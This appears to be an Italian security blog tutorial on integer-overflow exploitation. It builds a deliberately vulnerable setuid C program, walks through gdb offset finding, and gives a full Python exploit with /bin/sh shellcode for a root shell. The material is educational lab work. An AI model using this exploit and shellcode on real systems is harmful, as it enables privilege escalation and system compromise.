Integer Overflow

Come abbiamo già visto il buffer overflow permette l’esecuzione di codice arbitrario facendo traboccare il buffer con l’inserimento di un numero di char maggiore di quello supportato. L’integer overflow, invece, permette l’esecuzione del codice arbitrario inserendo un numero di tipo intero maggiore di quello supportato dal sistema (nel nostro caso il sistema operativo è a 32 bit). Per capire meglio basta guardare questa tabella:
sXrB0ihk3LzjsGlsSG_CaRg

Come si può notare in un sistema x86 il valore intero ha un range di “4294967296” che può variare tra unsigned e signed (vedi tabella). Quando in C viene effettuata una dichiarazione di questo tipo: “int a= 100;” la variabile “a” sarà di default di tipo signed; se invece si vuole una variabile unsigned bisognerà usare questa sintassi: ” unsigned a=100;”.
Per capire meglio questo attacco bisogna osservare il codice vulnerabile (creiamo il file vuln.c che useremo per l’attacco):

//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd); /* [1] */ 
 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
  printf("Valid Password\n"); /* [3] */ 
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

In questo codice la vulnerabilità sta nella riga [1], infatti la funzione strlen() ritorna un valore unsigned int che viene memorizzato in un unsigned char. Se il valore di passwd è superiore a 255 (valore massimo degli unsigned char), viene avvolto (vai a questo link per una spiegazione) e viene memorizzato in passwd il valore “5”. Siccome un integer overflow è fattibile, è anche possibile bypassare il controllo della riga [2] in modo che risulti un buffer overflow basato sullo stack.

Come nello scorso caso il codice deve essere compilato e l’ASLR va disabilitato; quindi eseguiamo questi comandi da terminale:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Fatto questo bisogna disassemblare il codice per capire meglio la struttura dello stack. Apriamo gdb sul file .c e lanciamo il seguente comando.

 (gdb) disassemble validate_passwd

Dall’output di questo comando otteniamo questo stack layout:

sKuyleun3NyD24KPAuayWKw

Visto che l’obiettivo dell’attacco è sempre quello di sovrascrivere il return address, dobbiamo verificare se è possibile l’overwrite sull’indirizzo di ritorno e quant’è l’offset dal buffer. Iniziamo con il primo step, quindi apriamo di nuovo gdb e lanciamo questi comandi (teniamo a mente il valore 261):

(gdb) r prova `python -c 'print "A"*261'`

e verifichiamo che il contenuto di $eip si 0x41414141 con questo comando:

(gdb) p/x $eip

Se abbiamo verificato con successo il contenuto calcoliamo l’offset del ret_addr partendo dall’inizio di passwd_buf. Sappiamo che tra l’inizio del buffer e l’indirizzo di ritorno sono presenti:
-il buffer “passwd_buf”             ===>  (0xb)
-la variabile “passwd_len”        ===>  (0x1)
-lo spazio di allineamento        ===>  (0x4)
-l’ EDI                                            ===>  (0x4)
-e il $ebp                                      ===>  (0x4)
La somma di queste sezioni è di 0x18 (24 dec) quindi sappiamo che l’offset è rappresentato da quel valore. Ora non ci resta che inserire 24 ‘A’ per raggiunge il ret_addr, inserire 4 ‘B’ per verificare che l’offset è corretto e inserire 233 (che rappresenta la differenza per raggiungere 261) ‘C’; quindi lanciamo da gdb questo comando:

(gdb) r prova `python -c 'print "A"*24 + "B"*4 + "C"*233'`

e verifichiamo che il contenuto di $eip sia 0x42424242 (BBBB) con il comando:

(gdb) $eip

A questo punto l’ultimo passaggio da fare è quello di scrivere l’exploit in python, un esempio di questo exploit (che chiameremo exp.py) è

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "prova"

#Stack address dove è inserita la shellcode
ret_addr = 0xbffff274

#La shellcode che esegue
#(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

# conversione in endian
def conv(num):
 return struct.pack("<I",num)

# arg2 = offset + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

ed eseguiamolo con

$ python exp.py

se i passaggi sono stati eseguiti correttamente dovrebbe aprirsi una root shell.

Lanciando l’exploit, questo difficilmente funzionerà, infatti come nel precedente caso, va aggiustato con un po di brute-forcing. Segui questa guida se non sai come fare

Se hai qualche minuto guarda gli altri articoli

CREDITS:  Sploit-fun.

Annunci

Rispondi

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione /  Modifica )

Google photo

Stai commentando usando il tuo account Google. Chiudi sessione /  Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione /  Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione /  Modifica )

Connessione a %s...